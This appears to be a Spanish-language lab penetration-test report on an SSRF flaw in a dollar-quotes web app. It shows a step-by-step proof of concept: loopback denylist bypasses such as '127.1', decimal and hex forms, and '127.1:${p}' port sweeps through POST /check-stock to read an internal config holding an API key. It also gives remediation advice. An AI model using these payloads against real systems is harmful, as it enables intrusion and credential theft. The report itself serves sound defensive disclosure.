🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Server-Side Request Forgery (SSRF): acceso a un servicio interno de configuración mediante evasión de denylist de loopback

ID del Ticket	**VULN-2026-017**
Activo evaluado	**Aplicación web «Cotizaciones Dólar Argentina» (Lab Cotizaciones Dólar)**
Severidad	**ALTA** **CVSS v3.1 8.6**
Tipo	**Server-Side Request Forgery — CWE-918 / CWE-184 (lista negra incompleta)**
Cliente	**Software Seguro — Laboratorio Cotizaciones Dólar**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**10 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 3
4. Prueba de Concepto (PoC) pág. 4
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 7

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> *Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.*

¿Qué encontramos?

La página de cotizaciones trae los precios del dólar desde varias fuentes externas. Para hacerlo, **le pide al servidor** que descargue una dirección que viaja en el pedido del usuario. Como quien hace la descarga final es el servidor, logramos que descargara un **servicio interno de configuración** que, se suponía, «solo era accesible desde la propia máquina». Obtuvimos su configuración de seguridad completa, incluida una **clave de acceso (API key)** en texto plano.

¿Por qué importa para el negocio?

Una credencial expuesta puede usarse para suplantar al sistema ante otros componentes. Además se filtró la «postura de seguridad» (que el segundo factor está apagado, la política de contraseñas, los algoritmos usados), información que facilita ataques posteriores. La misma técnica permite alcanzar otros servicios internos que la empresa cree aislados.

¿Qué tan grave es?

Severidad ALTA — CVSS 8.6. No requiere que ninguna víctima haga nada ni credenciales previas: basta enviar un pedido a la página. La vulnerabilidad fue **confirmada** extrayendo datos reales del servicio interno.

¿Qué hay que hacer?

Dejar de confiar en «viene de la propia máquina» como si fuera una contraseña, permitir únicamente una lista cerrada de fuentes autorizadas, bloquear el acceso a direcciones internas y exigir autenticación real en el servicio de configuración. El detalle está en la sección 5.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Lectura de servicios internos y fuga de credenciales (API key) mediante SSRF desde un endpoint público	Alta	Alto	Alta

2. Detalles Técnicos

> *Audiencia: equipo de desarrollo y administradores de la plataforma.*

2.1 Descripción de la vulnerabilidad

El front-end no consulta las fuentes de cotización directamente: delega la petición al backend mediante el endpoint `POST /check-stock`, cuyo parámetro `url` es controlado por el cliente. El servidor descarga esa URL y **reproduce el cuerpo de la respuesta** en el campo `data`, por lo que se trata de un SSRF *completo* (no ciego): permite leer directamente el contenido de servicios internos.

2.2 Controles presentes y su evasión

La aplicación valida el destino con una **lista negra (denylist)**, un enfoque intrínsecamente incompleto. Se identificaron los filtros y los *bypass* que los derrotan; todas las variantes «OK» resuelven a `127.0.0.1`:

Payload (host)	Resultado	Motivo
`localhost`	**BLOQUEADO**	Coincide con la cadena «localhost»
`127.0.0.1`	**BLOQUEADO**	Coincide con el patrón de 4 octetos
`[::1]`	**BLOQUEADO**	No conecta (loopback IPv6 filtrado/sin bind)
`127.1`	**OK (bypass)**	Notación de octeto corto
`0`	**OK (bypass)**	«0» resuelve a loopback
`2130706433`	**OK (bypass)**	127.0.0.1 en formato decimal
`0x7f000001`	**OK (bypass)**	127.0.0.1 en formato hexadecimal
`localhost.`	**OK (bypass)**	El punto final evita el match exacto

2.3 Descubrimiento del puerto interno

El servicio interno escucha en un puerto desconocido del rango **4000–6000**. Usando `127.1` como host de evasión, se recorrieron los 2001 puertos solicitando la ruta `/config/security` y empleando las propias respuestas del backend como oráculo:

- Puerto cerrado → `HTTP 503` «No se pudo conectar con la URL especificada» (1999 puertos).
- Puerto `5000` → `HTTP 404` de Flask: es la aplicación pública de cotizaciones.
- **Puerto `5001` → `HTTP 200` con la configuración**: el único resultado que rompe el patrón.

El criterio de detección no fue «buscar un 200» sino identificar el **valor atípico**: 1999 respuestas idénticas de conexión rechazada frente a una distinta.

2.4 Alcance

Componente vulnerable	Fetcher de cotizaciones (`POST /check-stock`), expuesto a Internet
Recurso alcanzado	Servicio interno de configuración en `127.0.0.1:5001/config/security`
Datos obtenidos	API key, estado de 2FA, algoritmo JWT, método de cifrado, política de sesión y contraseñas

2.5 Causa raíz

Convergen un **defecto de diseño** y uno de **configuración**. El servicio interno usa el *origen de red* («solo localhost») como si fuera autenticación; y el fetcher valida el destino con una denylist en vez de una allowlist, resolviendo la URL sin bloquear direcciones de loopback ni rangos privados. El resultado es que el servidor actúa como **cliente de confianza** en nombre del atacante.

3. Métricas CVSS

> *Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.*

CVSS Base Score	Severidad	Vector
8.6	ALTA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	Se explota de forma remota a través de Internet (HTTPS).
Attack Complexity (AC)	**Low (L)**	El endpoint acepta la URL directamente; el bypass de denylist es trivial.
Privileges Required (PR)	**None (N)**	El endpoint `/check-stock` es público; no requiere credenciales.
User Interaction (UI)	**None (N)**	No requiere acción de ninguna víctima.
Scope (S)	**Changed (C)**	El SSRF cruza la frontera de autoridad: alcanza un servicio interno distinto del componente vulnerable.
Confidentiality (C)	**High (H)**	Se extrae la configuración interna completa, incluida una `api_key`.
Integrity (I)	**None (N)**	No se modifican datos.
Availability (A)	**None (N)**	No se afecta la disponibilidad.

> Nota de criterio: `Scope:Changed` porque el componente vulnerable (fetcher) permite leer un servicio de configuración gobernado por otra autoridad de seguridad. `C:High` por la exposición de la API key y de la postura de seguridad completa; Integridad y Disponibilidad en None porque no se alteró ni interrumpió ningún recurso.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

> *Reproducción paso a paso. Cualquier persona con acceso a la página puede replicar el hallazgo.*

4.1 Requisitos previos

- Acceso HTTP a la aplicación pública de cotizaciones (sin credenciales).
- Una herramienta para enviar peticiones (navegador, `curl`, Burp o `fetch` en consola).
- El dato del enunciado: el servicio interno escucha en el rango de puertos `4000-6000`.

4.2 Pasos de reproducción

Paso 1 — Identificar el vector. El front envía la URL de la fuente al backend, que la descarga del lado del servidor:

```
POST /check-stock HTTP/1.1
Content-Type: application/json
```

```
{ "url": "https://dolarapi.com/v1/dolares/oficial" }

# Respuesta -> el servidor reproduce el cuerpo descargado:
#   { "data": "<cuerpo>", "headers": { ... } }
```

Evidencia 1 — El servidor realiza la petición saliente y devuelve el contenido: SSRF completo (no ciego).

Paso 2 — Detectar el filtro (denylist). Apuntar a loopback por su nombre o IP directa es rechazado:

```
{ "url": "http://localhost:5000/config/security" }
# -> 400  "El dominio localhost no está permitido"
{ "url": "http://127.0.0.1:5000/config/security" }
# -> 400  "No se permiten direcciones IP directas"
```

Evidencia 2 — La validación es por lista negra de cadenas, no por la IP real resuelta.

Paso 3 — Evadir la denylist. Una representación alternativa de 127.0.0.1 atraviesa el filtro y alcanza el loopback:

```
{ "url": "http://127.1:5000/config/security" }
# -> 200  <!doctype html> 404 Not Found  (servidor Flask en :5000)
```

Evidencia 3 — `127.1` llega al loopback; el servicio de config no está en :5000, hay que hallar su puerto.

Paso 4 — Descubrir el puerto interno (barrido 4000–6000). Con el bypass, se recorre el rango pidiendo `/config/security` y se clasifica cada respuesta:

```
for (p = 4000; p <= 6000; p++) {
  POST /check-stock  { "url": `http://127.1:${p}/config/security` }
}
# cerrado    -> 503 "No se pudo conectar"      (1999 puertos)
# puerto 5000 -> 404 Flask (app pública)
# puerto 5001 -> 200 + configuración  <-- outlier
```

Evidencia 4 — El único puerto que rompe el patrón es `5001`.

Paso 5 — Extraer la configuración. Petición final contra el servicio interno descubierto:

```
{ "url": "http://127.1:5001/config/security" }
# Respuesta (data):
{
  "allowed_origins": ["http://localhost:5000"],
  "api_key": "bff48bf153224fbfdb8f6cc898cd7bb1",
  "enable_2fa": false,
  "encryption_method": "AES-256",
  "jwt_algorithm": "HS256",
  "password_min_length": 8,
  "session_timeout": 3600
}
```

Evidencia 5 — Objetivo cumplido: se obtiene la configuración interna, incluida la clave `api_key`, desde un endpoint público.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
El servicio `/config/security` solo responde a conexiones reales de la propia máquina y rechaza cualquier pedido originado por un tercero.	El servidor, engañado vía SSRF, consulta su propio loopback y entrega la configuración al atacante.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, sobre el objetivo indicado. No se accedió a datos fuera del alcance del desafío.

5. Recomendaciones de Remediación

> *Audiencia: equipo de desarrollo que implementará la corrección.*

5.1 Solución recomendada (prioritaria)

1) Usar lista blanca (allowlist), no lista negra. Permitir únicamente el conjunto cerrado de dominios de cotización autorizados; rechazar todo lo demás por defecto.

```
# En vez de bloquear "malos", permitir solo "buenos"
FUENTES_PERMITIDAS = { "dolarapi.com", "criptoya.com" }
host = urlparse(url).hostname
if host not in FUENTES_PERMITIDAS: rechazar()
```

2) Validar tras resolver DNS y bloquear direcciones internas. Resolver el host y verificar la IP resultante; bloquear loopback y rangos privados.

```
# Bloquear: 127.0.0.0/8, ::1, 169.254.0.0/16 (metadata),
#           10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
ip = resolver(host)
if ip.is_private or ip.is_loopback or ip.is_link_local: rechazar()
```

3) Autenticar el servicio interno. `/config/security` debe exigir un token/credencial propio. Confiar en el origen de red no es autenticación.

5.2 Defensa en profundidad

- **No seguir redirecciones** en el cliente HTTP del fetcher, o revalidar la IP en cada salto (evita evasión por 302).
- **Aislar la red:** servir el servicio de configuración en otra interfaz/red con mTLS, no en el mismo loopback que el fetcher.
- **Firewall de egreso:** impedir que el proceso web abra conexiones hacia su propio loopback o la red interna.
- **Higiene de secretos:** rotar la `api_key` expuesta, habilitar 2FA y elevar la política de contraseñas.
- **Monitoreo** de patrones de acceso anómalos y de barridos de puertos a través del fetcher.

5.3 Plan de acción

Acción	Responsable	Priori-dad	Plazo	Estado
Reemplazar la denylist por allowlist de dominios en `/check-stock`	Equipo de desarrollo	Alta	Inmedia-to	Pen-diente
Validar IP resuelta y bloquear loopback/rangos privados	Desarrollo / Infraes-tructura	Alta	24–72 h	Pen-diente
Exigir autenticación (token) en el servicio de configura-ción	Equipo de desarrollo	Alta	72 h	Pen-diente
Rotar la `api_key` expuesta y habilitar 2FA	Seguridad / Platafor-ma	Alta	7 días	Pen-diente
Aislar el servicio interno (red/mTLS) y firewall de egreso	Infraestructura	Media	15–30 días	Pen-diente
Test de regresión (SSRF bloqueado) y re-test	QA / Seguridad	Alta	Con el fix	Pen-diente

5.4 Verificación (re-test)

Confirmar que, con los controles aplicados, las variantes de loopback (`127.1` , `0` , `2130706433` , `0x7f000001` , `localhost.`) y cualquier IP privada son rechazadas por el fetcher, que el barrido 4000–6000 ya no devuelve el servicio interno, y que `/config/security` exige autenticación. Verificar además que las fuentes legítimas de cotización siguen funcionando.

> ✓ Criterio de cierre: el ticket se marca como **Cerrado** cuando el re-test confirma que ningún payload externo alcanza `127.0.0.1:5001` y que la carga de fuentes legítimas permanece operativa.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A10 Server-Side Request Forgery (SSRF): https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- CWE-918 — Server-Side Request Forgery (SSRF): https://cwe.mitre.org/data/definitions/918.html
- CWE-184 — Incomplete List of Disallowed Inputs (denylist): https://cwe.mitre.org/data/definitions/184.html
- OWASP — Server-Side Request Forgery Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
- PortSwigger Web Security Academy — SSRF: https://portswigger.net/web-security/ssrf
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Ver-sión	Fecha	Autor	Cambio
1.0	2026-11-10	J. M. F.	Creación del reporte: SSRF con bypass de denylist y acceso al servicio interno de configuración (puerto 5001).

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.